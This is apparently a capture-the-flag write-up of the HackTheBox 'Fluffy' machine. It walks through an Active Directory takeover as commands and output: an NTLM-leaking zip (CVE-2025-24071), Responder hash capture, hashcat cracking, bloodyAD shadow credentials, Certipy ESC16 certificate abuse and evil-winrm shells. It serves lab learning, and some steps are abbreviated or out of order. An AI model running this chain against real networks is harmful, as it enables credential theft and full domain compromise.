After starting the VPN, all we are given is a pair of credentials: j.fleischman:J0elTHEM4n1990!. We fire nmap against the domain and find a list of interesting services (pardon the small wall of text):
$ cat fluffy.nmap
# Nmap 7.93 scan initiated Sun Sep 28 12:08:25 2025 as: nmap -Pn -A -oA fluffy -sC -sV -p- fluffy.htb
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-28 19:14:37Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-28T19:16:11+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
... # more open ldap's
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
... # stuff
Host script results:
| smb2-security-mode:
|_ ...
| smb2-time:
|_ ...
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 13.04 ms 10.10.14.1
2 13.38 ms fluffy.htb (10.129.78.162)
# Nmap done at Sun Sep 28 12:16:11 2025 -- 1 IP address (1 host up) scanned in 466.52 seconds
Some key observations:
With the given credentials our first bet is the Samba Server:
$ smbclient -U j.fleischman //$FLUFFYIP/IT 'J0elTHEM4n1990!' -U j.fleischman
smb: \> ls
. D 0 Mon May 19 14:27:02 2025
.. D 0 Mon May 19 14:27:02 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 15:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 15:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 15:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 15:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 14:31:07 2025
5842943 blocks of size 4096. 1824604 blocks available
Look at that! We already have everything! Jokes aside we grab the two zips and the Upgrade_Notice.pdf
Key observations:
Googling those very severe CVEs land us here, the gist of it is: a maliciously constructed zip can force, via a SMB path the remote server to send an authentication request towards us. We can then catch the incoming request with Responder, spoof the Hash of the client and impersonate him (more on that later),
(.venv) $ python3 Responder.py -I tun0 -w -d
# listening
...
# another terminal sends the packet using the CVE-2025-24071 PoC...
...
[SMB] NTLMv2-SSP Client : 10.129.78.162
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : \
p.agila::FLUFFY:5e4d617e0cfb7b4f:9361F491FBBE11C1374F607C72\
BB4873:010100000000000080BC86647930DC01415C0FE8780863390000\
0000020008005500500048005A0001001E00570049004E002D003100440\
050004B0050004B0041004D004B005800430004003400570049004E002D\
003100440050004B0050004B0041004D004B00580043002E00550050004\
8005A002E004C004F00430041004C00030014005500500048005A002E00\
4C004F00430041004C00050014005500500048005A002E004C004F00430\
041004C000700080080BC86647930DC0106000400020000000800300030\
000000000000000100000000200000C0353C5C32A5522DD161F055C2C39\
455B84BEE2779470FA2B7769DA92338396C0A0010000000000000000000\
00000000000000000900220063006900660073002F00310030002E00310\
030002E00310034002E003100330032000000000000000000
^C
(.venv) $ hashcat -m 5060 /usr/share/wordlists/rockyou.txt hash.txt
...
prometheusx-303
...
Bingo!
We have extracted some credentials, but we do not know exactly how and where to navigate with them. We just know it has to do with Microsoft Active Directory. For those of you, including me, who've never had the pleasure to work with it, the system is basically a corporate maze of roles and links, it's easy to get lost and it's even harder to take the first steps. We need to gear up!
BloodHound CE offers a well tested suite to get started exploring Active Directories. Looking back at the nmap results we find a Active Directory LDAP process and Domain Controller located ad DC01.fluffy.htb:
$ bloodhound-ce-python \
--disable-autogc \
-c all \
-u p.agila \
-p prometheusx-303 \
-d fluffy.htb \
-dc dc01.fluffy.htb \
-ns $FLUFFYIP
$ ls
-rw-r--r-- 1 root root 3244 Sep 28 14:25 20250928142530_computers.json
-rw-r--r-- 1 root root 24709 Sep 28 14:25 20250928142530_containers.json
-rw-r--r-- 1 root root 3068 Sep 28 14:25 20250928142530_domains.json
...
Uploading the extracted JSONs into the BloodHound web server (take at peak at its docker-compose.yml), we can see within an iteractive GUI how each role connect to each other.
Before examining further we need to remide ourselves, what is we're looking here? The key observation is to search for any misconfiguration, or overly permissive configuration on the user we are impersonating, such that it connects us to any privileged role within the corporate network. Who are those privileged few we can find? A couple of names ring a bell:
We find some interesting connections between our user p.agila and WinRM,
GenericWrite seems pretty permissive...
The plan is as follows: let's add P.AGILE@FLUFFY.HTB to SERVICE ACCOUNTS@FLUFFY.HTB, by way of membership to SERVICE ACCOUNTS MANAGER@FLUFFY.HTB, and after we've taken the role of SERVICE ACCOUNT@FLUFFY.HTB, we can, by way of the GenericAll privilege, set up a shadow user with the WINRM_SVC@FLUFFY.HTB role, from there we expect to be able to launch a Remote Session to the remote machine, i.e. spawn a Command Prompt.
Got all that? Let's look at some commands in action. Here we're using bloodyAD,
$ bloodyAD --host fluffy.htb -u p.agila -p prometheusx-303 -d fluffy.htb add groupMember 'SERVICE ACCOUNTS' p.agila
[+] p.agila added to SERVICE ACCOUNTS
$ bloodyAD --host fluffy.htb -u p.agila -p prometheusx-303 -d fluffy.htb add shadowCredentials winrm_svc
Traceback (most recent call last):
File "/root/htb/fluffy/.venv/bin/bloodyAD", line 8, in <module>
sys.exit(main())
^^^^^^
...
kerbad.protocol.errors.KerberosError: Error Name: KRB_AP_ERR_SKEW Detail: "The clock skew is too great"
In case you run into this issue, you need to disable the internal clock daemon, as follows
$ sudo ntpdate dc01.fluffy.htb
2025-09-28 23:54:21.89037 (+0000) +25200.587021 +/- 0.006655 dc01.fluffy.htb $FLUFFYIP s1 no-leap
CLOCK: time stepped by 25200.587021
$ systemctl disable --now systemd-timesyncd
$ bloodyAD --host fluffy.htb -u p.agila -p prometheusx-303 -d fluffy.htb add shadowCredentials winrm_svc
[+] KeyCredential generated with following sha256 of RSA key:
XXXX...
[+] TGT stored in ccache file winrm_svc_sU.ccache
$ apt install ruby ruby-dev
$ gem install evil-winrm
$ evil-winrm -i $FLUFFYIP -u winrm_svc -H deadbeef
*Evil-WinRM* PS C:\Users\WINRM_SVC\Documents> whoami
fluffy\winrm_svc
*Evil-WinRM* PS C:\Users\WINRM_SVC\Desktop> ls
Directory: C:\Users\WINRM_SVC\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/28/2025 11:45 AM 34 user.txt
It's important to think about the methodology used here and how it can change if we were to impersonate an higher privileged user. What we used were misconfigured but valid permissions, and one must note that our "exploit" was actually fair game as long as AD is concerned: we didn't run any command which required permissions any higher that what was already in place.
On the other hand, doing anything critical in this system requires passing through Kerberos: without going too much in details, especially because I am no expert, the point is Indirect Authentication: Kerberos does not know, and should not know, the specifics of the infrastructure in place, it merely validates a request for an action and releases a ticket which validates this request for this user with these permissions.
NT: deadbeef...
$ bloodyAD --host fluffy.htb -u p.agila -p prometheusx-303 -d fluffy.htb add shadowCredentials ca_svc
...
NT: deadcafe
...
Let's look at the certificate authority by using a tool called Certipy,
$ certipy find -u 'ca_svc' -hashes :deadcafe -dc-ip $FLUFFYIP -target-ip $FLUFFYIP -vulnerable -enabled -stdout
...
Disabled Extensions : 1.3.6.1.4.1.311.25.2
...
ESC16 : Security Extension is disabled.
...
$ certipy req -k -dc-ip $FLUFFYIP -ca 'fluffy-DC01-CA' -target 'dc01.fluffy.htb' -template 'User'
$ certipy req -u 'ca_svc' -hashes :deadcafe -dc-ip $FLUFFYIP -ca 'fluffy-DC01-CA' -target 'dc01.fluffy.htb' -template 'User'
$ certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip $FLUFFYIP -user 'ca_svc' -upn 'ca_svc@fluffy.htb' update
$ certipy auth -dc-ip $FLUFFYIP -pfx administrator.pfx -username 'Administrator' -domain 'fluffy.htb'
...
d00d2b4d
...
Feeling lost? What we did was create a generic User template, update its name to Administrator, and with it request to login as Administrator (the phony one), Kerberos accepted our request and issued us this hash that let's us proceed
$ evil-winrm -u Administrator -H d00d2b4d -i $FLUFFYIP
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/28/2025 11:45 AM 34 root.txt
This challenge was a very fun introduction to the world of Windows Security. It took us a full Saturday evening to solve the challenge, mostly spent downloading the various tools and activating Python venvs and whatnot (Python is sooooo slow on Windows, what the heck!). While talking about it, after we've finished, my colleague revealed to me that we've just scratched the surface of the tools out there made to break Windows stuff and what fun things one can do with them. We hope you enjoyed our article, and that you stick around for the next!